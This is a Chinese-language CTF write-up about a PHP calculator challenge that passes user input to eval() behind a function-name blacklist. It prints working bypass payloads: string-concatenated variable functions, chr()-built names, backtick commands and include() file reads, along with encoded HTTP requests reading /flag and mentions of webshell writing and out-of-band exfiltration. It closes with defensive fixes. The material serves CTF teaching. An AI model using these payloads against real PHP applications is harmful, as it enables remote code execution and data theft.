资讯详情

计算器也能打穿?CTF中PHP eval黑名单绕过实战解析

📅 2026/10/20 22:39:54 | 华诺云谱 👁 阅读
计算器也能打穿?CTF中PHP eval黑名单绕过实战解析
1. 拿到题目的第一轮信息收集页面、请求和异常输入探针1.1 先用肉眼和抓包把页面过一遍CTF的Web题里最容易被低估的就是这种门面干净的题目。页面没有跳转、没有登录、没有文件上传点只有一个孤零零的输入框和一个计算结果区很多新手看到就懵了这能考什么其实越简单的入口越可能藏着重型武器。我拿到这个Calculate题的时候页面就是一个典型计算器输入11回车回显2输入6*7回显42。注意这里的回显是服务端返回的不是前端JS算的——验证方法很简单右键查看源代码发现页面里没有嵌入任何计算逻辑的脚本按钮提交后会刷新页面。这说明表达式是被提交到后端处理的。接下来一定要做两件事看请求、看响应头。打开浏览器的开发者工具勾选Preserve log再提交一次11能看到请求是POST方式参数名是expr请求体形如expr1%2B1。响应头里带着语言和版本信息一眼能认出是PHP环境。到这里心里大概有数了后端很可能拿到这个expr参数之后直接丢给某个动态执行函数去算。这类实现一旦写成eval就有了戏。1.2 异常输入是最好的探针信息收集阶段我最喜欢用一系列带伤害的输入去试探后端。不用怕报错报错信息本身就是答案。我当时依次试了这些输入abc页面返回空白或一个警告说明输入被当作表达式处理但无法解析成合法的PHP表达式。输入1/0浏览器直接显示了一个PHP错误里面出现了eval()函数名和代码行号。虽然题目环境关闭了display_errors可能看不到但能看到的话等于后端实现直接暴露了。输入1;phpinfo();这是最关键的一个探测。如果后端是eval拼接执行分号就可以截断表达式后面的phpinfo()会被当作新的PHP语句执行。我这边返回的不是计算器结果而是hacker字样说明题目做了关键字拦截。输入1;echo 123;返回了123。这说明分号没有被过滤echo也不在拦截名单里后端确实是eval执行了一段拼接好的代码只是针对某些函数名做了黑名单。这几步做完整个攻击面已经清晰了一大半一个典型的存在函数黑名单的eval型计算器后端。需要注意我这一步没有急着去撞system而是先用echo确认了分号语义是否生效。很多人在信息收集没做完的时候就去打有效载荷一旦失败就搞不清楚到底是被过滤拦了、语法错了还是函数不可用后面排查起来极其痛苦。1.3 信息收集阶段最容易忽略的三个细节第一个容易忽略的点是参数数组。如果过滤逻辑是用preg_match或strpos直接处理字符串那么提交expr[]1;phpinfo();这种数组形式的参数时PHP会把$_POST[expr]变成一个数组正则匹配和strpos往往会因为类型错误直接返回false或报错。有些题目只要把参数改成数组过滤就会失效。我当时也试了这一手但这道题的过滤写得更稳数组形式被拦得严严实实所以后面老实走绕过路线。第二个细节是请求方式。有些题目会在代码里区分$_REQUEST[expr]还是$_POST[expr]GET请求和POST请求会走向完全不同的逻辑。建议至少各试一遍参数名一样但传参方式不同可能一个漏过滤一个不过滤。第三个细节是页面初始状态和Cookie。Calculate这道题页面很简单看不出有Session和Cookie但我还是顺手扫了一眼确认没有隐藏的表单字段、注释或者接口。这种确认没有的过程看似无用却能帮你排除一批低概率方向避免在错误分支上投入时间。2. 漏洞定位为什么一个普通计算器会变成代码执行入口2.1 计算器后端的几类实现方式计算器这个功能实现方式大致分三种。第一种是纯前端JavaScript浏览器算出结果再显示后端完全不参与这种没有利用价值。第二种是后端调一个现成的数学运算库比如表达式解析器、符号计算库这种通常会把输入限制在数学表达式的语法树里危险函数根本传不进去相对安全。第三种就是最偷懒的做法——把前端传上来的字符串直接拼进后端的动态执行函数里。PHP里常见的有eval()、assert()、create_function()、preg_replace()配合/e修饰符。这种实现写起来一时爽调试火葬场因为凡是能拼进代码的字符串本质上就是在替你写代码。Calculate这道题的问题是典型的第三种。后端把expr参数的值直接当成PHP代码来执行同时加了一层关键字黑名单试图拦住常见的命令执行函数。这种先eval、再拉黑名单的组合在真实开发里也相当常见比完全不设防好一点但远远不够。2.2 用万能机器人类比eval的问题打个比方eval就像你把一把钥匙交给一个万能机器人跟它说按我嘴上说的话去开对应的门。正常需求是输入开厨房门机器人就去开厨房门。但问题是机器人没有判断能力你说开门顺便把保险柜密码抄给我它也会照做。更可怕的是你以为只要提前告诉它不能开保险柜就安全了但攻击者可以换一种说法打开那个金属箱子把里面的数字报出来。字面上完全没提保险柜可事情照样办了。黑名单过滤干的就是这种事——它禁掉的是攻击者可能说出的某些词但攻击者永远可以用同义词、拆词法、编码法把意思表达出来。理解了这一层后面所有绕过手段都顺理成章了。2.3 根据探测结果反推后端实现基于第一轮信息收集的结果我基本能确定后端逻辑长这样这里给出一个简化模型?php $expr $_POST[expr]; $blacklist [system, exec, shell_exec, passthru, popen, proc_open]; foreach ($blacklist as $b) { if (stripos($expr, $b) ! false) { die(hacker); } } echo eval($expr);注意模型里的echo eval($expr)这是关键输入11时eval执行11并返回结果2echo回显2输入1;echo 123;时eval按顺序执行两条语句echo输出123。如果写的是eval(return .$expr.;)这种带return前缀的形式分号注入会被前面的return直接截断后面的语句根本执行不到。所以拿到计算器题后先测分号能不能注入就是在区分这两种不同的后端写法。这道题实测分号可用说明就是单纯的echo eval($expr)。反推代码的价值在于后面构造payload时你心里有个模型你知道代码在你输入内容前后加了什么、过滤了哪些词。与其盲目试payload不如先把模型猜出来然后针对性地找模型的漏洞。2.4 为什么黑名单其实拦不住真正的利用PHP这门语言的动态特性极其丰富函数可以放在变量里调用字符串可以用各种运算拼出来命令不一定非要用system()执行反引号、assert、preg_replace、include配合文件包含全是各种各样的旁门左道。黑名单拉得再长也只是猜攻击者会用什么词而攻击者的优势在于你列了一个名单我只需要找一个不在这名单里的词。所以这道题表面上是算算术实际上是考一个很关键的安全认知**不要以为过滤了危险函数名就能防住代码注入。**把动态执行函数直接用在用户输入上是根上的错后面补再多黑名单都是亡羊补牢。3. 过滤规则的摸查过程与四种绕过尝试3.1 把过滤规则测成一张矩阵既然确定了是黑名单型eval下一步就是把黑名单的边界彻底摸清。我构造了一个测试矩阵每个请求单独发记录下来。测试输入响应表现结论system(id)返回hacker拦截页system在黑名单里exec(id)返回hacker拦截页exec在黑名单里shell_exec(id)返回hacker拦截页shell_exec同样被拦phpinfo()直接输出PHP配置页面不在名单里且代码执行成立1;echo 123;回显123分号和echo可用注入点成立$a1;echo $a;回显1变量声明可用$没被过滤id显示当前用户的uid信息反引号没有被过滤等价命令执行include(/etc/passwd);回显文件内容include没有被拦可做文件读取这张表做下来结论很明确过滤规则只针对部分PHP函数名不针对字符集不针对分号不针对反引号不针对变量语法。也就是说这是一个典型的禁词列表而不是白名单字符集。知道了这一点绕过的思路一下就打开了。3.2 第一轮绕过尝试字符串拼接与动态函数名黑名单匹配的是提交字符串里的完整函数名那我可以不让完整函数名出现在字符串里。PHP的函数调用支持把函数名存进变量再调用也就是可变函数。例如$f sys . tem; $f(id);第一行先给$f赋值为system第二行用$f(id)实现系统命令调用。从黑名单的角度看整个输入里从头到尾没有出现连续完整的system字符串它自然没法拦截。实际payload长这样1;$fsys.tem;$f(id);发过去之后成功回显了uid信息说明这条绕过路径是通的。这也是最简单、最稳定的一种绕过方式。我后来又试了用chr()动态拼字符的方式1;$fchr(115).chr(121).chr(115).chr(116).chr(101).chr(109);$f(id);chr()把一个一个的ASCII码拼成system同样能执行。这种思路在题目过滤了单引号或点号时特别有用属于更进一阶的绕过储备。3.3 第二轮绕过尝试直接换一条执行通道动态函数名很实用但如果你遇到的题目把变量相关的语法也过滤了那还得有别的路。我在测试中发现反引号没有被过滤那就意味着PHP的反引号运算符可以直接执行shell命令1;cat /flag;反引号在PHP中等价于shell_exec()提交字符串里同样不出现任何黑名单函数名。如果题目连cat这种shell命令字也拦还可以换成/bin/cat、tac、cat这种shell自身支持的绕法。另一个思路是完全不执行系统命令直接让PHP把文件内容带出来。比如include一个目标文件如果文件里是纯文本包含操作会把文本直接输出到页面。我测试include(/etc/passwd)能回显内容说明这道题的include也没被拦。那么读flag文件就多了一种选择1;include(/flag);如果是在严格的命令黑名单环境下include这类文件操作函数往往是比命令执行更省事的路径。命令执行还需要考虑命令名、参数、空格被过滤的问题文件包含则只要函数没被拦一行就解决问题。3.4 为什么最后还是选了动态函数名这条组合拳读文件思路虽然好但我实际执行时发现一个细节这道题的flag文件位置不明而且我不确定include在目标环境下是否能正确显示文件内容。如果文件内容包含特殊字符或者文件路径不在当前目录include可能会把内容当PHP代码解析出各种奇怪的报错。相比之下system命令配合ls先探测目录再cat读取整个过程输出更直观也更可控。所以最终整理出来的利用链是这样的先用$fsys.tem;$f(ls /);确认根目录情况。找到flag文件后再用$f(cat /flag);读取内容。如果读取输出有干扰就改用$f(tac /flag)或$f(cat /flag | base64)再解码。在实际做题时不要迷信某一条payload是万能钥匙。每条路都有自己的适用条件先摸清过滤规则再根据响应情况选最顺的那条才是正确姿势。4. 完整利用链从分号注入到读取目标文件4.1 先确认flag文件到底放在哪很多新手拿到命令执行权限后第一件事就是cat /flag但flag位置在不同题目里差异很大。比较常见的位置包括根目录的/flag、/flag.txt网站的/var/www/html/flag以及环境变量里。所以第一步永远是列目录而不是直接猜路径。当时的请求体是这样的POST数据需要做URL编码POST /calc.php HTTP/1.1 Host: target Content-Type: application/x-www-form-urlencoded expr1%3B%24f%3D%27sys%27.%27tem%27%3B%24f%28%27ls%20%2F%27%29%3B对应的原始输入为1;$fsys.tem;$f(ls /);响应里列出了根目录下的bin、boot、dev、etc、flag等条目。flag文件就在根目录命名很直白。这里补充一句URL编码容易写错尤其是分号、引号、美元符和空格。如果请求发出去没反应先检查是不是编码没转干净。4.2 如果eval没有回显还有什么路可走这道题的eval有回显但很多同类题目的eval是把返回值吞掉的提交1;echo 123;时页面照样空白。遇到那种情况先别急着放弃有几个逃生通道值得记下来时间盲注执行sleep(5);如果响应延迟了5秒说明命令确实执行了可以结合条件判断逐位爆破。写入文件用file_put_contents(shell.php, ?php ... ?);往网站目录里写一个文件再直接访问这个文件拿到交互界面。外带数据把命令输出通过DNS查询或HTTP请求发到自己的监听服务器上。注意这一步必须使用你完全可控的域名或服务器属于标准CTF外带手段不要把它和任何绕过网络访问限制的方法混为一谈。有回显当然是最舒服的但手边这几种无回显方案最好能形成条件反射因为在真实的渗透测试和部分CTF题目里执行了但看不见输出才是常态。4.3 最终读取flag的请求与响应确认flag在根目录后发送最终读取请求POST /calc.php HTTP/1.1 Host: target Content-Type: application/x-www-form-urlencoded expr1%3B%24f%3D%27sys%27.%27tem%27%3B%24f%28%27cat%20%2Fflag%27%29%3B响应直接回显了flag内容。整个利用链到这里闭环。如果题目把cat也列进了黑名单可以换成1;$fsys.tem;$f(tac /flag);tac和cat命令不同名但作用是从最后一行开始倒序输出内容一样。更保险的读法是base641;$fsys.tem;$f(cat /flag | base64);拿到base64字符串再本地解码能避免flag内容里包含特殊字符导致输出被截断。4.4 拿到flag之后还应该验证一下路径拿到flag直接提交就能得分但我习惯再花一分钟做两件事确认当前用户是谁、确认代码执行上下文。执行$f(id);和$f(pwd);能帮助判断这个后端是以什么用户权限运行的以及网站根目录在哪里。这些信息在赛后复盘和写writeup时很有用也可以帮助你判断如果这道题换一种方式放flag比如放在数据库里下一步该怎么走。有些变体题目会把flag放在环境变量里比如cat /proc/1/environ或env命令的输出中。多掌握几种读法总没有坏处。5. 复盘清单这类计算器题怎么快速打穿5.1 这次踩的三个坑每一个都值得记下来第一个坑一上来就撞system(id)被黑名单拦截后我一度以为这道题把命令执行函数全封了差点转向研究白名单字符集绕过。后来才发现黑名单和字符白名单是完全两种不同的过滤思路前者拦得住一部分关键字拦不住所有写法。正确做法是先测分号和echo把eval黑名单型这个基本盘确定下来再针对性构造payload。第二个坑动态函数名构造payload时我一开始写成了sys.tem(id)这种拼接方式结果被PHP解析器报语法错误。函数名必须是完整的标识符不能直接加字符串连接运算符。正确的做法是先把完整函数名赋值给一个变量再通过变量调用函数。这个区别很多人第一次接触可变函数时都会踩绕一圈才明白。第三个坑在无回显假设上浪费了一点时间。刚开始有一轮请求我忘了做URL编码服务端没有正确拿到参数页面一直空白我误以为eval无回显已经开始准备时间盲注方案。后来检查请求体才发现是编码问题。遇到没有输出的情况先检查自己发出的请求本身是否完整再怀疑题目环境顺序不能反。5.2 计算器型题目快速识别清单我把自己做这类题的经验整理成了一张速查表遇到计算器页面可以直接对号入座。页面现象后端类型判断优先尝试方向输入1;echo 123;有回显eval拼接普通过滤直接分号注入动态函数名绕过输入1;phpinfo();被拦但echo可用黑名单型eval字符串拼接绕过函数名检查输入数组参数后返回500可能存在正则或类型处理漏洞尝试数组绕过过滤输入1/0或字母报错能看到函数名eval直接执行报错信息本身就是情报响应有明显延迟可能涉及命令执行或盲注sleep探测确认执行点只允许输入数字和四则运算符白名单字符集找解析器漏洞或逻辑漏洞这张表的核心思路是先判断过滤是禁词还是放行白名单再决定用绕过还是用漏洞。很多新手拿到计算器题就翻来覆去试几个标准payload不成功就不知道下一步了。测清楚过滤边界攻击路径其实会自己浮出来。5.3 站在防守方视角怎么避免自己写出这种题做完了攻击侧我建议写Web后端的朋友也站在防守方想想。别在业务代码里用eval、assert、create_function直接执行用户输入这几乎是所有同类漏洞的根源。计算器功能想安全地做就用现成的表达式解析库把用户输入解析成AST抽象语法树只允许数学运算符和数字出现在节点里再按树结构计算结果。这样无论用户传什么字符串都只是被当作不合法的表达式处理根本走不到代码执行的层面。如果你因为历史原因不得不保留动态执行至少要做到三件事对输入做严格的白名单字符校验、限制请求长度、运行环境里禁用所有危险函数。但坦白讲这些都只是把风险降低做不到消除。白名单字符集是相对有效的手段比如只允许数字和 - * / ( )用户连字母都传不上来自然没法调用函数。可惜这道题的过滤是黑名单思路所以才会被$fsys.tem;这种拼词法轻松击穿。CTF赛题的价值往往不在于打掉一个模拟目标而在于让人亲眼看到一类漏洞是怎么产生、怎么被利用、又该怎么修复。把计算器这道题从攻击到防御完整走一遍你对eval的认知、对黑名单的信任度、对PHP动态特性的理解都会比之前扎实一大截。后面再遇到类似的Web题心里就有了一张真正的底图。
📝

华诺云谱内容团队

资深建站顾问 · 行业研究员

10年+企业数字化服务经验,专注智能建站、SEO优化与品牌营销,持续输出建站技巧、行业洞察与营销干货,已帮助5000+企业实现数字化增长。

你可能需要的服务

订阅华诺云谱资讯周报

每周一封,精选建站技巧、SEO与营销干货,直达邮箱。已有 8,000+ 企业主订阅,助你少走弯路。

↑